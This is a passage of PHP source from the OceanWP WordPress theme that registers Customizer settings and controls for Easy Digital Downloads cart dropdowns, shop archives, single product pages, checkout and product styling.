'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_edd_bag_style', ) ) ); /** * Heading Styling */ $wp_customize->add_setting( 'ocean_edd_cart_dropdowns_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_edd_cart_dropdowns_styling_heading', array( 'label' => esc_html__( 'Cart Dropdown Styling', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'priority' => 10, ) ) ); /** * Style */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_style', array( 'transport' => 'postMessage', 'default' => 'compact', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_cart_dropdown_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_style', 'priority' => 10, 'choices' => array( 'compact' => esc_html__( 'Compact', 'oceanwp' ), 'spacious' => esc_html__( 'Spacious', 'oceanwp' ), ), ) ) ); /** * Dropdowns Width */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_width', array( 'transport' => 'postMessage', 'default' => '350', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_edd_cart_dropdown_width', array( 'label' => esc_html__( 'Cart Dropdowns Width (px)', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_width', 'priority' => 10, 'input_attrs' => array( 'min' => 30, 'max' => 600, 'step' => 1, ), ) ) ); /** * Dropdown Background Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_bg', array( 'label' => esc_html__( 'Dropdown Background Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_bg', 'priority' => 10, ) ) ); /** * Dropdown Borders Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_borders', array( 'transport' => 'postMessage', 'default' => '#e6e6e6', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_borders', array( 'label' => esc_html__( 'Dropdown Borders Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_borders', 'priority' => 10, ) ) ); /** * Product Title Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_title_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_title_color', array( 'label' => esc_html__( 'Product Title Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_title_color', 'priority' => 10, ) ) ); /** * Price Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_price_color', array( 'transport' => 'postMessage', 'default' => '#57bf6d', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_price_color', array( 'label' => esc_html__( 'Price Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_price_color', 'priority' => 10, ) ) ); /** * Remove Link Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_remove_link_color', array( 'transport' => 'postMessage', 'default' => '#b3b3b3', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_remove_link_color', array( 'label' => esc_html__( 'Remove Link Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_remove_link_color', 'priority' => 10, ) ) ); /** * Remove Link Hover Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_remove_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_remove_link_color_hover', array( 'label' => esc_html__( 'Remove Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_remove_link_color_hover', 'priority' => 10, ) ) ); /** * Subtotal Background Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_subtotal_bg', array( 'transport' => 'postMessage', 'default' => '#fafafa', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_subtotal_bg', array( 'label' => esc_html__( 'Subtotal Background Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_subtotal_bg', 'priority' => 10, ) ) ); /** * Subtotal Border Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_subtotal_border_color', array( 'transport' => 'postMessage', 'default' => '#e6e6e6', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_subtotal_border_color', array( 'label' => esc_html__( 'Subtotal Border Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_subtotal_border_color', 'priority' => 10, ) ) ); /** * Subtotal Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_subtotal_color', array( 'transport' => 'postMessage', 'default' => '#797979', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_subtotal_color', array( 'label' => esc_html__( 'Subtotal Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_subtotal_color', 'priority' => 10, ) ) ); /** * Total Price Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_total_price_color', array( 'transport' => 'postMessage', 'default' => '#57bf6d', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_total_price_color', array( 'label' => esc_html__( 'Total Price Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_total_price_color', 'priority' => 10, ) ) ); /** * Checkout Button: Background Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_checkout_button_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_checkout_button_bg', array( 'label' => esc_html__( 'Checkout Button Background', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_checkout_button_bg', 'priority' => 10, ) ) ); /** * Checkout Button Hover: Background Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_checkout_button_bg_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_checkout_button_bg_hover', array( 'label' => esc_html__( 'Checkout Button Background: Hover', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_checkout_button_bg_hover', 'priority' => 10, ) ) ); /** * Checkout Button: Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_checkout_button_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_checkout_button_color', array( 'label' => esc_html__( 'Checkout Button Color', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_checkout_button_color', 'priority' => 10, ) ) ); /** * Checkout Button Hover: Color */ $wp_customize->add_setting( 'ocean_edd_cart_dropdown_checkout_button_hover_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_cart_dropdown_checkout_button_hover_color', array( 'label' => esc_html__( 'Checkout Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_menu_cart', 'settings' => 'ocean_edd_cart_dropdown_checkout_button_hover_color', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_edd_archives', array( 'title' => esc_html__( 'Archives', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_edd_archive_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_edd_archive_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_edd_archive_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_archive_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_edd_archive_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_edd_archive_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_archive_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_edd_archive_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_edd_archive_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_archive_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_edd_archive_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_edd_archive_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_archive_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_edd_archive_rl_layout', ) ) ); /** * Shop Columns */ $wp_customize->add_setting( 'ocean_edd_archive_columns', array( 'transport' => 'postMessage', 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_archive_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_archive_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_edd_archive_columns', array( 'label' => esc_html__( 'Shop Columns', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'settings' => array( 'desktop' => 'ocean_edd_archive_columns', 'tablet' => 'ocean_edd_tablet_archive_columns', 'mobile' => 'ocean_edd_mobile_archive_columns', ), 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 4, 'step' => 1, ), ) ) ); /** * Products Heading */ $wp_customize->add_setting( 'ocean_edd_archive_edds_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_edd_archive_edds_heading', array( 'label' => esc_html__( 'Products', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'priority' => 10, ) ) ); /** * Product Elements Positioning */ $wp_customize->add_setting( 'oceanwp_edd_archive_elements_positioning', array( 'default' => array( 'image', 'category', 'title', 'price', 'description', 'button' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'oceanwp_edd_archive_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'settings' => 'oceanwp_edd_archive_elements_positioning', 'priority' => 10, 'choices' => array( 'image' => esc_html__( 'Image', 'oceanwp' ), 'category' => esc_html__( 'Category', 'oceanwp' ), 'title' => esc_html__( 'Title', 'oceanwp' ), 'price' => esc_html__( 'Price', 'oceanwp' ), 'description' => esc_html__( 'Description', 'oceanwp' ), 'button' => esc_html__( 'Add To Cart Button', 'oceanwp' ), ), ) ) ); /** * Product Entry Content Alignment */ $wp_customize->add_setting( 'ocean_edd_entry_content_alignment', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_edd_entry_content_alignment', array( 'label' => esc_html__( 'Content Alignment', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_entry_content_alignment', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), ) ) ); /** * Variable Product Button */ $wp_customize->add_setting( 'ocean_edd_archive_variable_button', array( 'transport' => 'refresh', 'default' => 'button', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_edd_archive_variable_button', array( 'label' => esc_html__( 'Variable Product Button', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_variable_button', 'priority' => 10, 'choices' => array( 'button' => esc_html__( 'Button', 'oceanwp' ), 'options' => esc_html__( 'Options', 'oceanwp' ), ), ) ) ); /** * Image Width */ $wp_customize->add_setting( 'ocean_edd_archive_image_width', array( 'default' => 450, 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_archive_image_width', array( 'label' => esc_html__( 'Custom Image Width (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_image_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Image Height */ $wp_customize->add_setting( 'ocean_edd_archive_image_height', array( 'default' => 450, 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_archive_image_height', array( 'label' => esc_html__( 'Custom Image Height (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_image_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Download Excerpt Length */ $wp_customize->add_setting( 'ocean_edd_archive_excerpt_length', array( 'default' => 5, 'sanitize_callback' => false, ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_edd_archive_excerpt_length', array( 'label' => esc_html__( 'Excerpt Length', 'oceanwp' ), 'section' => 'ocean_edd_archives', 'settings' => 'ocean_edd_archive_excerpt_length', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_edd_single', array( 'title' => esc_html__( 'Single Product', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_edd_download_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_edd_download_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_download_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_edd_download_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_download_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_download_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_edd_download_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_edd_download_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_download_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_download_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_edd_download_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_edd_download_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_download_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_download_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_edd_download_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_edd_download_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_download_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_download_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_edd_download_rl_layout', ) ) ); /** * Display Product Navigation */ $wp_customize->add_setting( 'ocean_edd_display_navigation', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_display_navigation', array( 'label' => esc_html__( 'Display Product Navigation', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_display_navigation', 'priority' => 10, ) ) ); /** * Display Purchase Button */ $wp_customize->add_setting( 'ocean_edd_display_add_to_cart', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_display_add_to_cart', array( 'label' => esc_html__( 'Display Add to Cart Button', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_display_add_to_cart', 'priority' => 10, ) ) ); /** * Next/Prev Taxonomy */ $wp_customize->add_setting( 'ocean_edd_next_prev_taxonomy', array( 'default' => 'download_tag', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_edd_next_prev_taxonomy', array( 'label' => esc_html__( 'Next/Prev Taxonomy', 'oceanwp' ), 'section' => 'ocean_edd_single', 'settings' => 'ocean_edd_next_prev_taxonomy', 'priority' => 10, 'choices' => array( 'download_category' => esc_html__( 'Category', 'oceanwp' ), 'download_tag' => esc_html__( 'Tag', 'oceanwp' ), ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_edd_cart_checkout', array( 'title' => esc_html__( 'Checkout Page', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Heading Checkout Page */ $wp_customize->add_setting( 'ocean_edd_checkout_page_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_edd_checkout_page_heading', array( 'label' => esc_html__( 'Checkout Page', 'oceanwp' ), 'section' => 'ocean_edd_cart_checkout', 'priority' => 10, ) ) ); /** * Distraction Free Checkout */ $wp_customize->add_setting( 'ocean_edd_distraction_free_checkout', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_distraction_free_checkout', array( 'label' => esc_html__( 'Distraction Free Checkout', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_edd_cart_checkout', 'settings' => 'ocean_edd_distraction_free_checkout', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_edd_styling', array( 'title' => esc_html__( 'Advanced Styling', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Heading Product Entry */ $wp_customize->add_setting( 'ocean_edd_entry_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_edd_entry_heading', array( 'label' => esc_html__( 'Product Entry', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'priority' => 10, ) ) ); /** * Product Padding */ $wp_customize->add_setting( 'ocean_edd_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_edd_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => array( 'desktop_top' => 'ocean_edd_top_padding', 'desktop_right' => 'ocean_edd_right_padding', 'desktop_bottom' => 'ocean_edd_bottom_padding', 'desktop_left' => 'ocean_edd_left_padding', 'tablet_top' => 'ocean_edd_tablet_top_padding', 'tablet_right' => 'ocean_edd_tablet_right_padding', 'tablet_bottom' => 'ocean_edd_tablet_bottom_padding', 'tablet_left' => 'ocean_edd_tablet_left_padding', 'mobile_top' => 'ocean_edd_mobile_top_padding', 'mobile_right' => 'ocean_edd_mobile_right_padding', 'mobile_bottom' => 'ocean_edd_mobile_bottom_padding', 'mobile_left' => 'ocean_edd_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Product Image Margin */ $wp_customize->add_setting( 'ocean_edd_image_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_image_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_image_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_image_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_image_tablet_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_tablet_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_tablet_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_tablet_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_mobile_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_mobile_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_mobile_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_image_mobile_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_edd_image_margin', array( 'label' => esc_html__( 'Image Margin (px)', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => array( 'desktop_top' => 'ocean_edd_image_top_margin', 'desktop_right' => 'ocean_edd_image_right_margin', 'desktop_bottom' => 'ocean_edd_image_bottom_margin', 'desktop_left' => 'ocean_edd_image_left_margin', 'tablet_top' => 'ocean_edd_image_tablet_top_margin', 'tablet_right' => 'ocean_edd_image_tablet_right_margin', 'tablet_bottom' => 'ocean_edd_image_tablet_bottom_margin', 'tablet_left' => 'ocean_edd_image_tablet_left_margin', 'mobile_top' => 'ocean_edd_image_mobile_top_margin', 'mobile_right' => 'ocean_edd_image_mobile_right_margin', 'mobile_bottom' => 'ocean_edd_image_mobile_bottom_margin', 'mobile_left' => 'ocean_edd_image_mobile_left_margin', ), 'priority' => 10, 'input_attrs' => array( 'max' => 100, 'step' => 1, ), ) ) ); /** * Product Border Width 